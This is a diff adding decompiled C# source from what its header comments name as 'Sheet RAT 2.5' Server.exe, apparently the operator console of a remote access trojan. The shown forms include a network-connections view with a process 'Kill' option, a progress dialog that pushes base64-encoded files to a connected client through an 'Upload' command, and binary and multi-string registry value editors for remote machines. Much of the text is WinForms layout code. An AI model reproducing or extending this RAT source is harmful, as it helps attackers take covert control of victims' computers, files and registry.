this.metroGrid1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.metroGrid1.BackgroundColor = Color.FromArgb(17, 17, 17);
|
||||
this.metroGrid1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||
this.metroGrid1.CellBorderStyle = DataGridViewCellBorderStyle.None;
|
||||
this.metroGrid1.ClipboardCopyMode = DataGridViewClipboardCopyMode.Disable;
|
||||
this.metroGrid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None;
|
||||
gridViewCellStyle1.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0);
|
||||
gridViewCellStyle1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel);
|
||||
gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle1.SelectionBackColor = Color.FromArgb(165, 219, 0);
|
||||
gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle1.WrapMode = DataGridViewTriState.True;
|
||||
this.metroGrid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1;
|
||||
this.metroGrid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize;
|
||||
this.metroGrid1.ContextMenuStrip = (ContextMenuStrip) this.metroContextMenu1;
|
||||
gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle2.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel);
|
||||
gridViewCellStyle2.ForeColor = Color.FromArgb(109, 109, 109);
|
||||
gridViewCellStyle2.SelectionBackColor = Color.FromArgb(165, 219, 0);
|
||||
gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle2.WrapMode = DataGridViewTriState.False;
|
||||
this.metroGrid1.DefaultCellStyle = gridViewCellStyle2;
|
||||
this.metroGrid1.EnableHeadersVisualStyles = false;
|
||||
this.metroGrid1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel);
|
||||
this.metroGrid1.GridColor = Color.FromArgb(17, 17, 17);
|
||||
this.metroGrid1.Location = new Point(23, 63 /*0x3F*/);
|
||||
this.metroGrid1.Name = "metroGrid1";
|
||||
this.metroGrid1.ReadOnly = true;
|
||||
this.metroGrid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None;
|
||||
gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft;
|
||||
gridViewCellStyle3.BackColor = Color.FromArgb(142, 188, 0);
|
||||
gridViewCellStyle3.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel);
|
||||
gridViewCellStyle3.ForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle3.SelectionBackColor = Color.FromArgb(165, 219, 0);
|
||||
gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17);
|
||||
gridViewCellStyle3.WrapMode = DataGridViewTriState.True;
|
||||
this.metroGrid1.RowHeadersDefaultCellStyle = gridViewCellStyle3;
|
||||
this.metroGrid1.RowHeadersVisible = false;
|
||||
this.metroGrid1.RowHeadersWidthSizeMode = DataGridViewRowHeadersWidthSizeMode.DisableResizing;
|
||||
this.metroGrid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect;
|
||||
this.metroGrid1.Size = new Size(838, 484);
|
||||
this.metroGrid1.Style = MetroColorStyle.Lime;
|
||||
this.metroGrid1.TabIndex = 13;
|
||||
this.metroGrid1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroContextMenu1.Items.AddRange(new ToolStripItem[2]
|
||||
{
|
||||
(ToolStripItem) this.killToolStripMenuItem,
|
||||
(ToolStripItem) this.resfreshToolStripMenuItem
|
||||
});
|
||||
this.metroContextMenu1.Name = "metroContextMenu1";
|
||||
this.metroContextMenu1.Size = new Size(119, 48 /*0x30*/);
|
||||
this.killToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17);
|
||||
this.killToolStripMenuItem.ForeColor = Color.FromArgb(192 /*0xC0*/, 0, 0);
|
||||
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
|
||||
this.killToolStripMenuItem.Size = new Size(118, 22);
|
||||
this.killToolStripMenuItem.Text = "Kill";
|
||||
this.killToolStripMenuItem.Click += new EventHandler(this.killToolStripMenuItem_Click);
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.resfreshToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17);
|
||||
this.resfreshToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
this.resfreshToolStripMenuItem.Name = "resfreshToolStripMenuItem";
|
||||
this.resfreshToolStripMenuItem.Size = new Size(118, 22);
|
||||
this.resfreshToolStripMenuItem.Text = "Resfresh";
|
||||
this.resfreshToolStripMenuItem.Click += new EventHandler(this.resfreshToolStripMenuItem_Click);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(884, 570);
|
||||
this.Controls.Add((Control) this.metroGrid1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (FormNetStat);
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "NetStat";
|
||||
this.TextAlign = MetroFormTextAlign.Center;
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormTaskMgr_Load);
|
||||
((ISupportInitialize) this.metroGrid1).EndInit();
|
||||
this.metroContextMenu1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,152 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormProgressBar
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormProgressBar : MetroForm
|
||||
{
|
||||
public Clients client;
|
||||
public bool download;
|
||||
public int size;
|
||||
public int SC;
|
||||
public string path;
|
||||
public string pathFile;
|
||||
public bool thisisdir;
|
||||
private IContainer components;
|
||||
public Label label1;
|
||||
private MetroProgressBar metroProgressBar1;
|
||||
public Timer timer1;
|
||||
|
||||
public FormProgressBar() => this.InitializeComponent();
|
||||
|
||||
public void Init()
|
||||
{
|
||||
this.SC = 0;
|
||||
this.metroProgressBar1.Maximum = this.size;
|
||||
if (this.download)
|
||||
{
|
||||
this.label1.Text = $"{Methods.BytesToString((long) this.size)} \\ {Methods.BytesToString((long) this.SC)}";
|
||||
this.metroProgressBar1.Value = this.SC;
|
||||
this.client.Recevied += (Clients.BytesDelegate) (item => Program.form.Invoke((MethodInvoker) (() =>
|
||||
{
|
||||
this.SC += item;
|
||||
if (this.SC >= this.size)
|
||||
return;
|
||||
this.metroProgressBar1.Value = this.size;
|
||||
this.label1.Text = $"{Methods.BytesToString((long) this.size)} \\ {Methods.BytesToString((long) this.SC)}";
|
||||
this.metroProgressBar1.Value = this.SC;
|
||||
})));
|
||||
}
|
||||
else
|
||||
{
|
||||
this.label1.Text = $"{Methods.BytesToString((long) this.size)} \\ {Methods.BytesToString((long) this.SC)}";
|
||||
this.metroProgressBar1.Value = this.SC;
|
||||
this.client.Sent += (Clients.BytesDelegate) (item => Program.form.Invoke((MethodInvoker) (() =>
|
||||
{
|
||||
this.SC += item;
|
||||
if (this.SC > this.size)
|
||||
return;
|
||||
this.metroProgressBar1.Value = this.size;
|
||||
this.label1.Text = $"{Methods.BytesToString((long) this.size)} \\ {Methods.BytesToString((long) this.SC)}";
|
||||
this.metroProgressBar1.Value = this.SC;
|
||||
})));
|
||||
this.client.SendFile((object) $"Upload<@>{this.path}<@>{Convert.ToBase64String(File.ReadAllBytes(this.pathFile))}");
|
||||
}
|
||||
this.FormClosing += (FormClosingEventHandler) ((t, p) =>
|
||||
{
|
||||
if (this.client == null)
|
||||
return;
|
||||
this.client.Disconnected();
|
||||
});
|
||||
}
|
||||
|
||||
public void CloseCT() => this.Close();
|
||||
|
||||
private void FormProgressBar_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue);
|
||||
this.label1.ForeColor = Color.FromArgb(0, 174, 219);
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.Style = Customs.customs.Style;
|
||||
this.metroProgressBar1.Style = Customs.customs.Style;
|
||||
this.label1.ForeColor = Customs.customs.StyleToColor();
|
||||
}
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.metroProgressBar1.Theme = Customs.customs.Theme;
|
||||
this.label1.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue);
|
||||
}
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.client.Connect)
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
this.label1 = new Label();
|
||||
this.metroProgressBar1 = new MetroProgressBar();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204);
|
||||
this.label1.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0);
|
||||
this.label1.Location = new Point(23, 90);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(73, 20);
|
||||
this.label1.TabIndex = 3;
|
||||
this.label1.Text = "0kb / 0kb";
|
||||
this.metroProgressBar1.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.metroProgressBar1.Location = new Point(23, 63 /*0x3F*/);
|
||||
this.metroProgressBar1.Name = "metroProgressBar1";
|
||||
this.metroProgressBar1.Size = new Size(299, 23);
|
||||
this.metroProgressBar1.Style = MetroColorStyle.Lime;
|
||||
this.metroProgressBar1.TabIndex = 4;
|
||||
this.metroProgressBar1.Theme = MetroThemeStyle.Dark;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(345, 138);
|
||||
this.Controls.Add((Control) this.metroProgressBar1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Name = nameof (FormProgressBar);
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = "Progress";
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormProgressBar_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,172 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormRegValueEditBinary
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Helper;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormRegValueEditBinary : MetroForm
|
||||
{
|
||||
private readonly RegistrySeeker.RegValueData _value;
|
||||
private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly.";
|
||||
private IContainer components;
|
||||
private Server.Helper.HexEditor.HexEditor hexEditor;
|
||||
private MetroTextBox valueNameTxtBox;
|
||||
private MetroLabel metroLabel1;
|
||||
private MetroLabel metroLabel2;
|
||||
private MetroButton cancelButton;
|
||||
private MetroButton okButton;
|
||||
|
||||
public FormRegValueEditBinary(RegistrySeeker.RegValueData value)
|
||||
{
|
||||
this._value = value;
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
private void okButton_Click(object sender, EventArgs e)
|
||||
{
|
||||
byte[] hexTable = this.hexEditor.HexTable;
|
||||
if (hexTable != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
this._value.Data = hexTable;
|
||||
this.DialogResult = DialogResult.OK;
|
||||
this.Tag = (object) this._value;
|
||||
}
|
||||
catch
|
||||
{
|
||||
this.ShowWarning("The binary value was invalid and could not be converted correctly.", "Warning");
|
||||
this.DialogResult = DialogResult.None;
|
||||
}
|
||||
}
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void ShowWarning(string msg, string caption)
|
||||
{
|
||||
int num = (int) MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
|
||||
}
|
||||
|
||||
private void FormRegValueEditBinary_Load(object sender, EventArgs e)
|
||||
{
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.valueNameTxtBox.Theme = Customs.customs.Theme;
|
||||
this.metroLabel1.Theme = Customs.customs.Theme;
|
||||
this.metroLabel2.Theme = Customs.customs.Theme;
|
||||
this.okButton.Theme = Customs.customs.Theme;
|
||||
this.cancelButton.Theme = Customs.customs.Theme;
|
||||
this.hexEditor.BackColor = Customs.customs.ThemeToColor();
|
||||
}
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.Style = Customs.customs.Style;
|
||||
this.valueNameTxtBox.Style = Customs.customs.Style;
|
||||
this.metroLabel1.Style = Customs.customs.Style;
|
||||
this.metroLabel2.Style = Customs.customs.Style;
|
||||
this.okButton.Style = Customs.customs.Style;
|
||||
this.cancelButton.Style = Customs.customs.Style;
|
||||
this.hexEditor.ForeColor = Customs.customs.StyleToColor();
|
||||
}
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void cancelButton_Click(object sender, EventArgs e) => this.Close();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormRegValueEditBinary));
|
||||
this.hexEditor = new Server.Helper.HexEditor.HexEditor();
|
||||
this.valueNameTxtBox = new MetroTextBox();
|
||||
this.metroLabel1 = new MetroLabel();
|
||||
this.metroLabel2 = new MetroLabel();
|
||||
this.cancelButton = new MetroButton();
|
||||
this.okButton = new MetroButton();
|
||||
this.SuspendLayout();
|
||||
this.hexEditor.BorderColor = Color.Empty;
|
||||
this.hexEditor.Cursor = Cursors.IBeam;
|
||||
this.hexEditor.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/);
|
||||
this.hexEditor.Location = new Point(14, 137);
|
||||
this.hexEditor.Margin = new Padding(4);
|
||||
this.hexEditor.Name = "hexEditor";
|
||||
this.hexEditor.Size = new Size(456, 245);
|
||||
this.hexEditor.TabIndex = 10;
|
||||
this.valueNameTxtBox.Location = new Point(14, 87);
|
||||
this.valueNameTxtBox.Name = "valueNameTxtBox";
|
||||
this.valueNameTxtBox.Size = new Size(456, 23);
|
||||
this.valueNameTxtBox.TabIndex = 11;
|
||||
this.valueNameTxtBox.Theme = MetroThemeStyle.Dark;
|
||||
this.valueNameTxtBox.UseStyleColors = true;
|
||||
this.metroLabel1.AutoSize = true;
|
||||
this.metroLabel1.Location = new Point(14, 60);
|
||||
this.metroLabel1.Name = "metroLabel1";
|
||||
this.metroLabel1.Size = new Size(84, 20);
|
||||
this.metroLabel1.TabIndex = 12;
|
||||
this.metroLabel1.Text = "Value name:";
|
||||
this.metroLabel1.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel1.UseStyleColors = true;
|
||||
this.metroLabel2.AutoSize = true;
|
||||
this.metroLabel2.Location = new Point(14, 113);
|
||||
this.metroLabel2.Name = "metroLabel2";
|
||||
this.metroLabel2.Size = new Size(75, 20);
|
||||
this.metroLabel2.TabIndex = 13;
|
||||
this.metroLabel2.Text = "Value data:";
|
||||
this.metroLabel2.Theme = MetroThemeStyle.Dark;
|
||||
this.metroLabel2.UseStyleColors = true;
|
||||
this.cancelButton.Location = new Point(393, 390);
|
||||
this.cancelButton.Name = "cancelButton";
|
||||
this.cancelButton.Size = new Size(75, 31 /*0x1F*/);
|
||||
this.cancelButton.TabIndex = 14;
|
||||
this.cancelButton.Text = "Cancel";
|
||||
this.cancelButton.Theme = MetroThemeStyle.Dark;
|
||||
this.cancelButton.Click += new EventHandler(this.cancelButton_Click);
|
||||
this.okButton.Location = new Point(312, 390);
|
||||
this.okButton.Name = "okButton";
|
||||
this.okButton.Size = new Size(75, 31 /*0x1F*/);
|
||||
this.okButton.TabIndex = 15;
|
||||
this.okButton.Text = "Ok";
|
||||
this.okButton.Theme = MetroThemeStyle.Dark;
|
||||
this.okButton.Click += new EventHandler(this.okButton_Click);
|
||||
this.AutoScaleDimensions = new SizeF(8f, 16f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(497, 433);
|
||||
this.Controls.Add((Control) this.okButton);
|
||||
this.Controls.Add((Control) this.cancelButton);
|
||||
this.Controls.Add((Control) this.metroLabel2);
|
||||
this.Controls.Add((Control) this.metroLabel1);
|
||||
this.Controls.Add((Control) this.valueNameTxtBox);
|
||||
this.Controls.Add((Control) this.hexEditor);
|
||||
this.ForeColor = Color.Yellow;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Margin = new Padding(4);
|
||||
this.Name = nameof (FormRegValueEditBinary);
|
||||
this.Text = nameof (FormRegValueEditBinary);
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.FormRegValueEditBinary_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,187 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormRegValueEditMultiString
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Helper;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormRegValueEditMultiString : MetroForm
|
||||
{
|
||||
private readonly RegistrySeeker.RegValueData _value;
|
||||
private IContainer components;
|
||||
private TextBox valueDataTxtBox;
|
||||
private MetroButton okButton;
|
||||
private MetroButton cancelButton;
|
||||
private MetroTextBox valueNameTxtBox;
|
||||
private MetroLabel metroLabel2;
|
||||
private MetroLabel metroLabel1;
|
||||
|
||||
public FormRegValueEditMultiString(RegistrySeeker.RegValueData value)
|
||||
{
|
||||
this._value = value;
|
||||
this.InitializeComponent();
|
||||
this.valueNameTxtBox.Text = value.Name;
|
||||
this.valueDataTxtBox.Text = string.Join("\r\n", Server.Helper.ByteConverter.ToStringArray(value.Data));
|
||||
}
|
||||
|
||||
private void okButton_Click(object sender, EventArgs e)
|
||||
{
|
||||
this._value.Data = Server.Helper.ByteConverter.GetBytes(this.valueDataTxtBox.Text.Split(new string[1]
|
||||
{
|
||||
"\r\n"
|
||||
}, StringSplitOptions.RemoveEmptyEntries));
|
||||
this.Tag = (object) this._value;
|
||||
this.DialogResult = DialogResult.OK;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void FormRegValueEditMultiString_Load(object sender, EventArgs e)
|
||||
{
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.valueNameTxtBox.Theme = Customs.customs.Theme;
|
||||
this.metroLabel1.Theme = Customs.customs.Theme;
|
||||
this.metroLabel2.Theme = Customs.customs.Theme;
|
||||
this.okButton.Theme = Customs.customs.Theme;
|
||||
this.cancelButton.Theme = Customs.customs.Theme;
|
||||
this.valueDataTxtBox.BackColor = Customs.customs.ThemeToColor();
|
||||
}
|
||||
if (Customs.customs.Style == MetroColorStyle.Lime)
|
||||
return;
|
||||
this.Style = Customs.customs.Style;
|
||||
this.valueNameTxtBox.Style = Customs.customs.Style;
|
||||
this.metroLabel1.Style = Customs.customs.Style;
|
||||
this.metroLabel2.Style = Customs.customs.Style;
|
||||
this.okButton.Style = Customs.customs.Style;
|
||||
this.cancelButton.Style = Customs.customs.Style;
|
||||
this.valueDataTxtBox.ForeColor = Customs.customs.StyleToColor();
|
||||
}
|
||||
|
||||
private void cancelButton_Click(object sender, EventArgs e) => this.Close();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormRegValueEditMultiString));
|
||||
this.valueDataTxtBox = new TextBox();
|
||||
this.okButton = new MetroButton();
|
||||
this.cancelButton = new MetroButton();
|
||||
this.valueNameTxtBox = new MetroTextBox();
|
||||
this.metroLabel2 = new MetroLabel();
|
||||
this.metroLabel1 = new MetroLabel();
|
||||
this.SuspendLayout();
|
||||
this.valueDataTxtBox.AcceptsReturn = true;
|
||||
this.valueDataTxtBox.BackColor = Color.Black;
|
||||
this.valueDataTxtBox.ForeColor = Color.Yellow;
|
||||
this.valueDataTxtBox.Location = new Point(16 /*0x10*/, (int) sbyte.MaxValue);
|
||||
this.valueDataTxtBox.Multiline = true;
|
||||
this.valueDataTxtBox.Name = "valueDataTxtBox";
|
||||
this.valueDataTxtBox.ScrollBars = ScrollBars.Both;
|
||||
this.valueDataTxtBox.Size = new Size(346, 273);
|
||||
this.valueDataTxtBox.TabIndex = 5;
|
||||
this.valueDataTxtBox.WordWrap = false;
|
||||
this.okButton.Location = new Point(242, 405);
|
||||
this.okButton.Margin = new Padding(2, 2, 2, 2);
|
||||
this.okButton.Name = "okButton";
|
||||
this.okButton.Size = new Size(56, 25);
|
||||
this.okButton.TabIndex = 18;
|
||||
this.okButton.Text = "Ok";
|
||||
this.okButton.Theme = MetroThemeStyle.Dark;
|
||||
this.okButton.UseSelectable = true;
|
||||
this.okButton.Click += new EventHandler(this.okButton_Click);
|
||||
